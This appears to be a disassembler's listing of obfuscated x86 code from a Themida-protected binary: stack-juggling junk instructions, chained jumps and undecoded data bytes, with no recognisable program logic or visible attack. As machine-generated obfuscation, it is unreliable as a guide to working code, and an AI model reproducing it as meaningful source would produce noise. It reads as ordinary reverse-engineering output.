1405E924h, 86BB0000h, 0E901B446h, 0FFFFFE9Fh, 4FE4BE66h dd 10C38166h, 0F3016667h, 0FFBFC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5566B9: ; CODE XREF: Themida_:0055B4E8j sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ecx mov ecx, 80h push esi jmp loc_554478 ; --------------------------------------------------------------------------- aRiIZQsc2 db 'R┬з┬пZ[QИC2',0 align 10h loc_5566E0: ; CODE XREF: Themida_:005535FFj pop ebp sub ecx, 244301C1h push edi mov edi, 67F35B7Dh xor ecx, edi pop edi and ecx, 2240564Ch jmp loc_551179 ; --------------------------------------------------------------------------- loc_5566FB: ; CODE XREF: Themida_:00551FE3j xchg ebp, [esp] pop esp pop edx add ebx, 0C161BE57h and eax, ebx mov ebx, [esp] push esi jmp loc_550D6E ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 5 dd 0FFB214E9h, 0EA8158FFh, 4, 5C241487h, 0E9243C89h, 0FFFFCF2Bh dd 0C681E689h, 4, 2D1FE9h, 67685A00h, 89000010h, 0A2E9243Ch dd 81000064h, 0B82FB7F7h, 5FFE8925h, 6ED868h, 24348900h dd 0D5D5E95Bh, 0EC83FFFFh, 24348904h, 0FFECBCE9h, 3CE953FFh db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55676F: ; CODE XREF: Themida_:00557149j mov edi, 15A010Ch not edi xor edi, 0C635BF25h and ebp, edi jmp loc_55658B ; --------------------------------------------------------------------------- db 0C0h dd 0EC8005E4h, 7C480FFh, 0D7E9E588h, 81FFFFD5h, 4162A5C7h dd 579E962h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55679E: ; CODE XREF: Themida_:0055A0E7j add esp, 4 add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax not dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5564D4 ; --------------------------------------------------------------------------- aHus db '[h⌠s',0 dd 24148900h, 0C7E9E289h, 6600005Dh, 6824048Bh, 3FF6h dd 54243489h, 5E2434FFh, 556FE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5567EA: ; CODE XREF: Themida_:0055CE48j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_55B6C0 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 0E904EC83h, 0FFFFBD9Ah, 0A146F281h, 0D32965AAh dd 0E3D1435Ah, 937DEB81h, 0DD8987E5h, 8BEB015Bh, 0C483242Ch dd 0EC835104h, 0D12FE904h, 0C301FFFFh, 501AC381h, 535549F7h dd 616DAD68h, 46B1E961h, 0C3810000h, 55646909h, 88EE8852h dd 1C8B5A33h, 4C48324h, 2ED9E9h db 0 ; --------------------------------------------------------------------------- loc_55685D: ; CODE XREF: Themida_:00559216j and edx, 53892FAAh push ebx push edx mov edx, 25940299h jmp loc_553B45 ; --------------------------------------------------------------------------- db 0C1h dd 29E904EDh, 0BD000019h, 2F355A9Bh, 0B951D5F7h, 6DDC7E67h dd 0C102E9C1h, 4EE905E9h, 66000012h, 0E924048Bh, 0FFFFD346h ; --------------------------------------------------------------------------- loc_556898: ; CODE XREF: Themida_:00554E80j mov ebp, 3141ECDh jmp loc_557199 ; --------------------------------------------------------------------------- dw 5F54h dd 8904EC83h, 0BE56241Ch, 7892069Ah, 5A4EE81h, 0F3893BF8h dd 0B002E95Eh, 4966FFFFh, 68664966h, 89660467h, 0BD66242Ch dd 216679D2h, 2C8B66E9h, 2C48124h, 0E9000000h, 560Ch ; --------------------------------------------------------------------------- loc_5568E0: ; CODE XREF: Themida_:005571D6j mov edi, 5F4073ACh xor ecx, edi pop edi sub esp, 4 mov [esp], ebx mov ebx, 2FFA1022h push ebp mov ebp, 58FF5D40h and ebp, 57BB3923h dec ebp push 0 sub [esp], ebp jmp loc_55C984 ; --------------------------------------------------------------------------- loc_556910: ; CODE XREF: Themida_:00557C32j mov esi, 0BA2DB608h mov ecx, esi pop esi mov edi, ecx pop ecx jmp loc_556097 ; --------------------------------------------------------------------------- dd 0F988F2B7h, 0FFF24BE9h, 5EBC1FFh, 27D3E381h, 2CE95077h dd 89000015h, 0BE56241Ch, 77BD0594h, 604AB9BBh, 0C6E94371h dd 0B9000025h, 36801B2Bh, 81D1F749h, 7FE4D1F1h, 0E9CA01C9h dd 0FFFFA989h, 2474FF56h, 48F5E04h, 3CD25C24h, 0D3E99C24h dd 0BEFFFFA0h, 7A467B75h, 68h, 0F3F1E900h, 489FFFFh, 1BB35324h dd 0DC281CB4h, 83241C8Bh, 0E72804C4h, 8324048Bh, 0D9E904C4h dd 56000043h, 0E953E689h, 4370h, 6FA6BF57h, 0EFC157B5h dd 1C78307h, 4E20CF81h, 0BCE93AD4h, 8000003Eh, 0F1801EE1h dd 0FEF1800Dh, 0E959C828h, 21D0h, 5274E381h, 0CB817BC3h dd 37C931F8h, 2498EB81h, 0BAE91542h, 0C0000032h, 0F48004ECh dd 58E6289Dh, 8904EC83h, 0B1512404h, 96AE91Ch, 14890000h dd 5049BA24h, 91E96D0Eh, 100004Ah, 0DFC581FDh, 0E9694A58h dd 0FFFFB41Ah, 8B2434FFh, 0C4812404h, 4, 57E28952h, 8924CCBFh dd 4ECF812Ch, 0E952E45Ch, 0FFFFC68Bh, 24048B66h, 4EC81h dd 0C890000h, 0C8B5424h, 4C48124h, 0E9000000h, 4F19h, 2D33EF81h dd 0DF01547Ah, 0FFF896E9h, 0C68146FFh, 15603AAEh, 0E95EF229h dd 0FFFFDAAAh ; --------------------------------------------------------------------------- loc_556A70: ; CODE XREF: Themida_:00559D14j push ebx mov ebx, esp add ebx, 4 sub ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], dx jmp loc_557B0D ; --------------------------------------------------------------------------- db 81h dd 6C35CAF1h, 458EE947h, 0F1810000h, 36C06F2Dh, 8159CD21h dd 9221E7F5h, 3949E975h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556AAE: ; CODE XREF: Themida_:005541C9j push ebp mov ebp, 7AE83367h push ebx mov ebx, 18877822h shr ebx, 2 and ebx, 7D3F47A6h jmp loc_55662E ; --------------------------------------------------------------------------- dd 0FB0FE953h, 835EFFFFh, 48E904EBh, 4FFFFFDFh, 1AC3CF81h dd 0EFD10DB9h, 6F1EF781h, 0F7815A15h, 1DE9826Bh, 692FEA81h dd 0FA29728Eh, 692FC281h, 875F728Eh, 895C2414h, 9C502414h dd 0FF9F3DE9h, 34FF54FFh, 0D18EE924h, 1C89FFFFh, 4089E924h dd 34FF0000h, 0E9575924h, 0FFFFCE14h ; --------------------------------------------------------------------------- loc_556B24: ; CODE XREF: Themida_:00552B47j push ebx push ebp push ebx jmp loc_55B610 ; --------------------------------------------------------------------------- dd 14F7574Fh, 83E95F24h, 0FF00003Eh, 48B2434h, 4C48324h dd 81585450h, 4ECh, 243C8900h, 1AFEE9h, 37E95A00h, 8BFFFFDFh dd 0D068240Ch, 89000037h, 0E6892434h, 4C681h, 0BD550000h dd 4, 0B20E9h db 0 ; --------------------------------------------------------------------------- loc_556B75: ; CODE XREF: Themida_:0055563Ej or ecx, 3A7A1314h jmp loc_559E95 ; --------------------------------------------------------------------------- dd 0E9243C89h, 0FFFFAAF1h, 2C681h, 54500000h, 0D3BD5558h dd 81332071h, 2071D7F5h, 5DE80133h, 42Dh, 74FF5000h, 48B0424h dd 0D16BE924h, 895CFFFFh, 5155241Ch, 6187E9h, 42556800h dd 0C890000h, 95686624h, 0C8B6650h, 5E545624h, 4C681h dd 0C6830000h, 24343302h, 33243431h, 575C2434h, 3003BF66h dd 5EFC166h, 0AEEF8166h, 0C78166D8h, 556658D0h, 0FFF085E9h dd 7B7668FFh, 14890000h, 26906824h, 3C890000h, 28136824h dd 535F7FD3h, 90172C68h, 0E3C15B61h, 0EBC14B06h, 0A2E2E908h dd 815FFFFFh, 4C7h, 4C78300h, 0E9243C87h, 0FFFFEEA0h, 0D8351C05h dd 0E9C331F9h, 1055h, 592434FFh, 568E9h, 24148B00h, 4C481h dd 0E9570000h, 0FFFFAAB5h ; --------------------------------------------------------------------------- loc_556C5C: ; CODE XREF: Themida_:005529FFj add esi, 4 jmp loc_55CA35 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 3B7FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556C72: ; CODE XREF: Themida_:00557926j sub esp, 4 mov [esp], esi jmp loc_558556 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 3BE95D04h, 0B9FFFFEBh, 2, 0FFBE77E9h, 59CB01FFh, 4C381h dd 1C330000h, 0A9A5E924h, 0F781FFFFh, 9E54CCEAh, 575FFB29h dd 594250BFh, 4AF78111h, 2958AE12h, 73E95FFBh, 89FFFFFBh dd 6E92434h, 5CFFFFE4h, 80CC0505h, 8BC23117h, 0C4812404h dd 4, 0BF57D2F7h, 1D090B03h, 3AFEF781h, 0FA010C9Ch, 1C57215Fh dd 0FFF847E9h, 4B9FFh, 0CD290000h, 8C66859h, 0F0E90000h dd 5C00001Eh, 0FF9D3DE9h, 3C77FFFFh, 3337E9h db 0 ; --------------------------------------------------------------------------- loc_556D11: ; CODE XREF: Themida_:0055C85Fj pop esp jmp loc_55BF58 ; --------------------------------------------------------------------------- aQs db ')гQИ°^',0 dw 5A00h dd 0FFF10FE9h, 4C281FFh, 87000000h, 0F75C2414h, 5B8868E9h dd 14890000h, 0E99C5024h, 43C3h, 0C8BCA01h, 4C48124h, 83000000h dd 148702C2h, 21665C24h, 0E99C2404h, 0FFFF9CEAh ; --------------------------------------------------------------------------- loc_556D5C: ; CODE XREF: Themida_:00555E93j xor [esp+4], ebp pop ebp pop ebp xor ebp, 62BF348Eh jmp loc_555CBD ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0C581E589h, 4, 21DAE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556D7E: ; CODE XREF: Themida_:00555132j mov edx, eax mov eax, [esp] jmp loc_559165 ; --------------------------------------------------------------------------- dd 89241C89h, 4B951E3h, 1000000h, 27D4E9CBh, 0EB800000h dd 0EB805812h, 1CE1E9BFh, 95A0000h, 240C8BC8h, 0C104C483h dd 0BA5205E8h, 1CFD16D4h, 4E0FCA81h, 0EA815B09h, 0F405F6FEh dd 255AD001h, 73E44EB0h, 0FFDCC3E9h db 0FFh ; --------------------------------------------------------------------------- loc_556DD1: ; CODE XREF: Themida_:0055B63Ej push esi mov esi, esp add esi, 4 jmp loc_55BCA2 ; --------------------------------------------------------------------------- db 52h dd 185BFFBAh, 4EC8135h, 89000000h, 14F72414h, 0EA815A24h dd 0CAE7A3FCh, 1CE6E981h, 0D1016F6Bh, 400CE9h, 4C48100h dd 0E9000000h, 36D0h, 4BAh, 5AD30100h, 5C241C87h, 3DEFE950h dd 0C4810000h, 4, 0F237E951h, 0E801FFFFh, 0BA52555Dh, 53176330h dd 0ACB836BDh, 5AD52960h, 4D04E5C1h, 0BA52D5F7h, 108D011Ch dd 8FE9D501h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556E53: ; CODE XREF: Themida_:00557C19j mov edx, eax pop eax add edx, 1 xor edx, 58752911h push edi mov edi, 28454E61h shr edi, 5 dec edi xor edi, 3F7D0E12h jmp loc_555198 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24248B24h, 6040E9h, 0EE816600h, 81663BF8h dd 0E9EBB0EEh, 41A7h, 5268B151h, 4FDEE9h db 0 ; --------------------------------------------------------------------------- loc_556E9D: ; CODE XREF: Themida_:005573A7j push 3705h mov [esp], ebx mov ebx, 0 jmp loc_557CCA ; --------------------------------------------------------------------------- db 83h dd 0BF0404C4h, 0BF2CD000h, 0CB99E95Ah, 489FFFFh, 496BE924h dd 81660000h, 66D827C7h, 665FFE01h, 0FDBAF681h, 5EF10966h dd 11C98166h, 0F9DCE953h, 5657FFFFh, 0F789EE89h, 5FFE895Eh dd 2045685Dh, 0C890000h, 0C8B5424h, 2153E924h, 0EB810000h dd 7C1C2B0Ch, 0D40C381h, 0F3016607h, 0D40EB81h, 0C3816607h dd 7C1C2B0Ch, 241C875Eh, 0E6B8E95Ch, 0C281FFFFh, 8245C527h dd 4AC381h, 0D3010061h, 1B3EE9h, 43E95B00h, 5EFFFFD7h dd 815EF089h, 4ECh, 24048900h, 24048B59h, 8104C483h, 0CD283DC1h dd 8BC831F9h, 0E953240Ch, 4A37h ; --------------------------------------------------------------------------- loc_556F60: ; CODE XREF: Themida_:005513DDj xchg eax, [esp] pop esp push dword ptr [edi+eax*4] push ebp jmp loc_5549A6 ; --------------------------------------------------------------------------- loc_556F6D: ; CODE XREF: Themida_:005530B2j xor esi, [esp] pop esp push ebx mov ebx, esp add ebx, 4 jmp loc_5588F3 ; --------------------------------------------------------------------------- db 53h dd 4BBh, 0E1EE8100h, 1239665h, 0E1C681DEh, 8B239665h, 0C483241Ch dd 24348704h, 54A2685Ch, 3C890000h, 315CE924h, 525D0000h dd 6F2A2ABAh, 53EBE934h, 51420000h, 0D97D9DB9h, 8149493Bh dd 334B9FF1h, 59CA211Ah, 0CA81D2F7h, 3F907AC6h, 2F7DE9h db 0 ; --------------------------------------------------------------------------- loc_556FD5: ; CODE XREF: Themida_:0055C997j shr eax, 5 sub eax, 608112BAh not eax sub eax, 290A4F9h xor ebp, eax pop eax and ebx, ebp pop ebp neg ebx add ebx, 1 shl ebx, 3 sub ebx, 10538DDFh push ecx jmp loc_55B2FB ; --------------------------------------------------------------------------- loc_557001: ; CODE XREF: Themida_:005539AFj pop edx shr edx, 1 or edx, 76BA0103h add edx, 326B0C7Fh add edx, 4E9AB39Fh mov edi, edx pop edx jmp loc_555809 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 4B90BE56h, 0DFE96D43h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55702F: ; CODE XREF: Themida_:00557919j push ebp push esp jmp loc_551A8D ; --------------------------------------------------------------------------- loc_557036: ; CODE XREF: Themida_:005512BFj sub edi, 771FFFEh add ebp, edi pop edi jmp loc_552312 ; --------------------------------------------------------------------------- dd 5152F828h, 0DDF63FB5h, 8007E5C0h, 0DCE917C5h, 0E9000008h dd 0FFFF99EAh ; --------------------------------------------------------------------------- loc_55705C: ; CODE XREF: Themida_:0055B69Aj mov ecx, esp add ecx, 4 jmp loc_555DBA ; --------------------------------------------------------------------------- loc_557069: ; CODE XREF: Themida_:00559B07j sub esi, 692C796Ch add esi, eax add esi, 692C796Ch pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push ebx jmp loc_555FFD ; --------------------------------------------------------------------------- dd 4B8h, 0E9C10100h, 0FFFFA324h ; --------------------------------------------------------------------------- loc_557094: ; CODE XREF: Themida_:00552FD0j add ebp, 4 sub ebp, 4 jmp loc_5570AE ; --------------------------------------------------------------------------- dw 0E280h dd 0FED2F696h, 2569E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5570AE: ; CODE XREF: Themida_:0055709Dj xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_55C9C1 ; --------------------------------------------------------------------------- dw 875Eh dd 248B2414h, 0C8B6624h, 58545024h, 405h, 6F0E6800h, 3C890000h dd 0EC6E924h, 0FF5A0000h, 6AE92434h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5570E3: ; CODE XREF: Themida_:0055282Aj or eax, eax jz loc_5547BE sub esp, 4 mov [esp], esi push ecx push esi push esp jmp loc_55593B ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0A1BF5753h, 81166170h, 0A95C0EE7h, 0EF814F67h, 6214FBFh dd 0E95FFB89h, 48F3h, 52D831ADh, 3919E9h db 0 ; --------------------------------------------------------------------------- loc_557121: ; CODE XREF: Themida_:005543D7j xor [eax], ecx pop eax mov edx, [esp] jmp loc_55C8BC ; --------------------------------------------------------------------------- dd 1C781h, 0C7810000h, 2C5A00F3h, 13FFF781h, 0FA016943h dd 0FFA13DE9h db 0FFh ; --------------------------------------------------------------------------- loc_557145: ; CODE XREF: Themida_:0055581Ej shl ebp, 2 push edi jmp loc_55676F ; --------------------------------------------------------------------------- loc_55714E: ; CODE XREF: Themida_:00553206j add esp, 4 jmp loc_557D5C ; --------------------------------------------------------------------------- db 68h, 19h, 72h dd 5582475h, 79C5331Dh, 504E0C1h, 9B4B06D5h, 0E958C689h dd 54D3h, 893C181h, 0E95B3F7Bh, 470Fh, 895DEF29h, 5EE95FF8h dd 0FFFFFFE4h, 49E92434h, 42000013h, 0FF9C93E9h db 0FFh ; --------------------------------------------------------------------------- loc_557199: ; CODE XREF: Themida_:0055689Dj and ebp, 2D105D7Ah inc ebp push esi jmp loc_55AE3A ; --------------------------------------------------------------------------- loc_5571A6: ; CODE XREF: Themida_:0055771Cj shr eax, 0Ch xor eax, ecx push 109Bh jmp loc_552C81 ; --------------------------------------------------------------------------- db 52h, 0E9h, 38h dd 83FFFFD2h, 48702C0h, 24248B24h, 9C242CD2h, 0FF9879E9h db 0FFh ; --------------------------------------------------------------------------- loc_5571CD: ; CODE XREF: Themida_:0055A2C8j sub esp, 4 mov [esp], edi jmp loc_5568E0 ; --------------------------------------------------------------------------- loc_5571DB: ; CODE XREF: Themida_:005530F2j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] pop dword ptr [edi+24h] loc_5571F0: ; CODE XREF: Themida_:0055B490j sub esp, 4 mov [esp], ecx mov ecx, ebx mov eax, ecx jmp loc_551D09 ; --------------------------------------------------------------------------- loc_5571FF: ; CODE XREF: Themida_:0055A729j mov [esp], ecx jmp loc_5546A8 ; --------------------------------------------------------------------------- db 55h dd 470EBE56h, 0EEC16B53h, 81D6F706h, 0A2F02EF6h, 5EF589BBh dd 8E563A05h, 3F17E94Ah, 77FF0000h, 59669D1Ch, 2414D366h dd 0D7EE99Ch, 895B0000h, 2434FFF3h, 0E189515Eh, 4C181h dd 0C1830000h, 240C8704h, 97F4E95Ch, 0C483FFFFh, 3195E904h dd 1C890000h, 0CCB95124h, 0BB472852h, 36E23B31h, 2D59CB01h dd 220B02AAh, 0FF9ABEE9h, 2474FFFFh, 48F5A04h, 0C895C24h dd 97C0E924h, 3E2DFFFFh, 687D5022h, 3A5Eh, 0FFF6A2E9h dd 5BDF89FFh, 67E1EF81h, 0F7813F66h, 19F95045h, 1634B951h dd 0E18149BDh, 0E592106h, 81D1F749h, 7264BC9h, 19E18167h dd 810DDF4Dh, 0B237EFF1h, 59CF215Fh, 0C97EE94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5572CE: ; CODE XREF: Themida_:00552214j add esp, 4 jmp loc_552066 ; --------------------------------------------------------------------------- loc_5572D9: ; CODE XREF: Themida_:00557B08j xor bl, al jmp loc_5520BA ; --------------------------------------------------------------------------- loc_5572E0: ; CODE XREF: Themida_:00552674j add esi, 45CA46ABh shr esi, 2 jmp loc_5515A1 ; --------------------------------------------------------------------------- dw 0AEB9h dd 81783653h, 61070FC9h, 0D4E1816Fh, 8171B903h, 132D40E1h dd 7FC98118h, 556A0D20h, 1D217BBDh, 5DE9297Ah, 8759CF01h dd 248B243Ch, 62E98124h, 5A64E779h, 4CF68h, 24148900h dd 0C2815A54h, 4, 3339BB53h, 15E94827h, 89000042h, 148B5EF3h dd 4C48124h, 1000000h, 68E95BDFh, 66000023h, 57240C8Bh dd 0FFF545E9h, 9FB951FFh, 0E9457774h, 0FFFFBA01h, 8832F180h dd 240C8BC8h, 4C481h, 772C0000h, 0D058C620h, 0AFC680EEh dd 0F0282304h, 1F87E9h, 240C8B00h, 5004C483h, 347768h dd 241C8900h, 20F4E9h db 0 ; --------------------------------------------------------------------------- loc_55739D: ; CODE XREF: Themida_:005516E9j sub eax, 53F233DFh add eax, 585E7215h jmp loc_556E9D ; --------------------------------------------------------------------------- loc_5573AC: ; CODE XREF: Themida_:00551D72j mov ch, bh mov ebx, [esp] add esp, 4 mov bl, ch pop ecx push edx jmp loc_551A42 ; --------------------------------------------------------------------------- loc_5573BD: ; CODE XREF: Themida_:00557B1Cj add cl, 36h mov dh, cl mov ecx, [esp] add esp, 4 add al, 6Eh add al, 18h add al, dh push ecx mov ch, 8 shr ch, 3 dec ch sub ch, 0E8h jmp loc_555EDD ; --------------------------------------------------------------------------- loc_5573DE: ; CODE XREF: Themida_:00555DA7j add edx, edi add edx, 29EF3030h add dword ptr [edx], 1 pop edx jmp loc_553651 ; --------------------------------------------------------------------------- dw 3AB5h dd 0FFD444E9h, 4EC83FFh, 0FFE5F9E9h, 6A15BFFFh, 0DFF77CFEh dd 0FFF0D6E9h, 4C783FFh, 8B243C87h, 30FF2424h, 0FF9629E9h db 0FFh ; --------------------------------------------------------------------------- loc_55741D: ; CODE XREF: Themida_:00558F06j mov [esp], edx not dword ptr [esp] pop edx xchg ebx, edx push ebx not dword ptr [esp] jmp loc_554D43 ; --------------------------------------------------------------------------- db 0B9h dd 561344B1h, 44B3F181h, 0C5815613h, 3FD66A72h, 0ED81CD01h dd 3FD66A72h, 83240C8Bh, 2C3304C4h, 3891E924h, 14890000h dd 0E242E924h, 24BEFFFFh, 815D0676h, 67620EEh, 5EF3015Dh dd 2AEEE9h, 565A5F00h, 4BEh, 8BF20100h, 0C4832434h, 484D6804h dd 3C890000h, 5C685624h, 5E70B624h, 0FF9749E9h, 1C77FFFFh dd 17243481h, 0FF47F807h, 81582434h, 4C4h, 1F3BE900h, 248B0000h dd 24042124h, 958CE99Ch, 815CFFFFh, 565302CFh, 2732E949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5574C6: ; CODE XREF: Themida_:00556634j and edx, 1EC05150h add edx, 4C8E2ED3h sub ebx, edx jmp loc_5518D6 ; --------------------------------------------------------------------------- loc_5574D9: ; CODE XREF: Themida_:00557A9Ej push ebp mov ebp, 73650A14h jmp loc_55C0F4 ; --------------------------------------------------------------------------- dd 242C3166h, 0FF9559E9h db 0FFh ; --------------------------------------------------------------------------- loc_5574ED: ; CODE XREF: Themida_:00550B2Fj mov edi, 4DE3156Dh jmp loc_5588CF ; --------------------------------------------------------------------------- db 89h dd 0ABA52E3h, 0C177A560h, 0E28108E2h, 393E4587h, 85E9DAF7h dd 81FFFFEAh, 312D1CF5h, 0E9EB892Eh, 0FFFFFA8Eh ; --------------------------------------------------------------------------- loc_55751C: ; CODE XREF: Themida_:00551456j push 114h mov [esp], edi push esi push 678A5E9Eh pop esi sub esi, 0ED2E12F0h mov edi, esi pop esi sub [esp+4], edi mov edi, [esp] push ecx mov ecx, esp jmp loc_5523A1 ; --------------------------------------------------------------------------- loc_557543: ; CODE XREF: Themida_:0055127Dj xchg ebx, [esp] pop esp xor eax, 6F13942h or eax, eax jnz loc_5580E2 push 3437h mov [esp], edi jmp loc_5553E0 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0B7h dd 1FFFFFAh, 0C875EF1h, 0E8015C24h, 81242C8Bh, 4ECh, 24148900h dd 0FFB6A7E9h, 4EC83FFh, 89243489h, 0D4568E6h, 3C890000h dd 0BF4BF24h, 565545BFh, 0CF046268h, 0C6815E58h, 1E5743B2h dd 0B5C681h, 0F681634Ch, 0A42E6894h, 0FFEDC2E9h, 0C5814DFFh dd 14BA41AAh, 0E95DE989h, 0FFFFCCD5h ; --------------------------------------------------------------------------- loc_5575C4: ; CODE XREF: Themida_:00559FE9j mov esi, ebx pop ebx jmp loc_552330 ; --------------------------------------------------------------------------- dd 241C8758h, 8124248Bh, 4C4h, 5611E900h, 0EF810000h, 19480410h dd 5C9EEF81h, 0DF0147FCh, 5C9EC781h, 0C78147FCh, 19480410h dd 0BDBEE95Bh, 0EC83FFFFh, 243C8904h, 0F989D789h, 5809E9h dd 0E9835800h, 240C8704h, 2434895Ch, 0FFD291E9h, 6E5DBDFFh dd 0E9893C19h, 0FFCB13E9h, 48B66FFh, 0E0895024h, 69ADBE56h dd 0E6C144ABh, 0A4F68105h, 0E9956D35h, 0FFFFEA14h, 80619CBBh dd 74C38168h, 0C12C3911h, 0B95108EBh, 7F679CBh, 0E9E98149h dd 21EDB053h, 240C8BCBh, 1C70E9h db 0 ; --------------------------------------------------------------------------- loc_557669: ; CODE XREF: Themida_:00553841j add edx, edi sub edx, 7C0B03B8h jmp loc_55A4CD ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0B8500000h, 524979F6h, 0E0C1D0F7h, 304C3503h dd 0C7016DB4h, 70E9h, 74EE8100h, 8169A131h, 8F73D7C6h dd 81EE016Bh, 8F73D7EEh, 0B951556Bh, 554E5022h, 3F8E9h dd 8BD90100h, 0D4E9241Ch db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5576BF: ; CODE XREF: Themida_:005524BCj or ebp, 14035E37h and ebp, 0A416A75h sub ebp, (offset loc_416A72+2) mov esi, ebp pop ebp and eax, esi push dword ptr [esp] pop esi push eax push edx jmp loc_555F2F ; --------------------------------------------------------------------------- db 0BDh, 69h, 48h dd 6C014D33h, 5E5D0824h, 8324348Bh, 2AE904C4h, 8BFFFFC3h dd 0C481243Ch, 4, 0FF9341E9h, 0BEE958FFh db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55770B: ; CODE XREF: Themida_:0055CA66j not eax sub eax, 258EE23h mov ecx, eax pop eax add edi, ecx pop ecx xchg edi, [esp] pop esp jmp loc_5571A6 ; --------------------------------------------------------------------------- db 29h, 0D7h, 5Ah dd 565FF901h, 468h, 0C1815E00h, 436B7536h, 0ECE9F101h dd 8B000030h, 0C481242Ch, 4, 7D39C381h, 18E95486h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55774F: ; CODE XREF: Themida_:0055629Cj xor ebp, [esp] pop esp pop ecx add ecx, 3F584D13h push 2785h mov [esp], edx mov edx, esp jmp loc_55A7B0 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 1000000h, 0C1815AD1h, 4, 0E9240C87h, 0FFFFB371h, 9D1C77FFh dd 14D35966h, 75E99C24h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55778F: ; CODE XREF: Themida_:00550FBCj add ecx, 3DF410E1h add ecx, eax sub ecx, 3DF410E1h jmp loc_55BFDA ; --------------------------------------------------------------------------- dw 0C33h dd 240C3124h, 0FF9299E9h db 0FFh ; --------------------------------------------------------------------------- loc_5577AD: ; CODE XREF: Themida_:0055C83Dj xchg ebx, [esp] pop esp and eax, ebx jmp loc_557916 ; --------------------------------------------------------------------------- dd 0F9FDE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5577BE: ; CODE XREF: Themida_:00559AF9j shl ecx, 2 xor ecx, 3E910574h sub ecx, 0FBE4D5ECh and eax, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or eax, eax jz loc_5581BD push dword ptr [edi+1Ch] push ebx mov ebx, esp add ebx, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_55ADF8 ; --------------------------------------------------------------------------- dd 410CEF81h, 0EF295271h, 8904EC83h, 0CBB241Ch, 0E9527141h dd 0FFFFF238h, 5C241487h, 7BB68h, 24148900h, 0C281E289h dd 4, 8704C283h, 535C2414h, 0E956E389h, 0FFFF9FA7h, 5C240487h dd 0FFB7D0E9h, 2434FFFFh, 0E0895059h, 3FBEBF57h, 0BE561997h dd 68C009C8h, 0CEE9F729h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557863: ; CODE XREF: Themida_:00551FBEj pop ecx xor ecx, 637B757Ah pop ebx xor [edi+24h], ecx mov ecx, [esp] jmp loc_553B16 ; --------------------------------------------------------------------------- dw 0C683h dd 9BB3E902h, 0E9C1FFFFh, 52D1F707h, 6D8604BAh, 8BD13188h dd 63682414h, 0E9000037h, 0FFFF952Ah ; --------------------------------------------------------------------------- loc_557898: ; CODE XREF: Themida_:00553694j xor ebp, 513760DFh not ebp sub ebp, 0FFFFFFFFh xor ebp, 0E6879099h jmp loc_55996C ; --------------------------------------------------------------------------- dw 5958h dd 4EC81h, 0B8E90000h, 83FFFFABh, 0FF5604C4h, 8B042474h dd 7E92434h, 56FFFFA1h, 0EC815E54h, 4, 0BF243C89h, 4, 3C8BFE01h dd 0E7895724h, 4A2368h, 241C8900h, 0FF9D29E9h, 40966FFh dd 4BE99C24h, 55FFFF91h, 8D187EBDh, 0A5C58145h, 8100A41Bh dd 6063E4EDh, 4DD5F759h, 0B236E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557916: ; CODE XREF: Themida_:005577B3j mov ebx, [esp] jmp loc_55702F ; --------------------------------------------------------------------------- loc_55791E: ; CODE XREF: Themida_:00557951j push 49C0h mov [esp], ebx jmp loc_556C72 ; --------------------------------------------------------------------------- db 89h dd 55E950E1h, 80FFFFF7h, 0EA8872EDh, 28D80459h, 0E9D82CD0h dd 0FFFF9BB0h ; --------------------------------------------------------------------------- loc_557944: ; CODE XREF: Themida_:005591B7j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_55791E ; --------------------------------------------------------------------------- loc_557956: ; CODE XREF: Themida_:00552ADFj mov [esp], ebp push edx mov edx, 0B97497Ah push ebx mov ebx, 1D5F689Bh mov ebp, 11E81F21h sub ebp, ebx jmp loc_55CB9D ; --------------------------------------------------------------------------- db 51h, 0B5h, 0B4h dd 84E9DDF6h, 8B000052h, 54572404h, 4EC815Fh, 89000000h dd 6852241Ch, 6FF35D54h, 0F90E95Ah, 4890000h, 24A3E924h dd 0D1880000h, 59CA885Ah, 378EE9h db 0 ; --------------------------------------------------------------------------- loc_5579A9: ; CODE XREF: Themida_:0055C04Cj and eax, edx push dword ptr [esp] 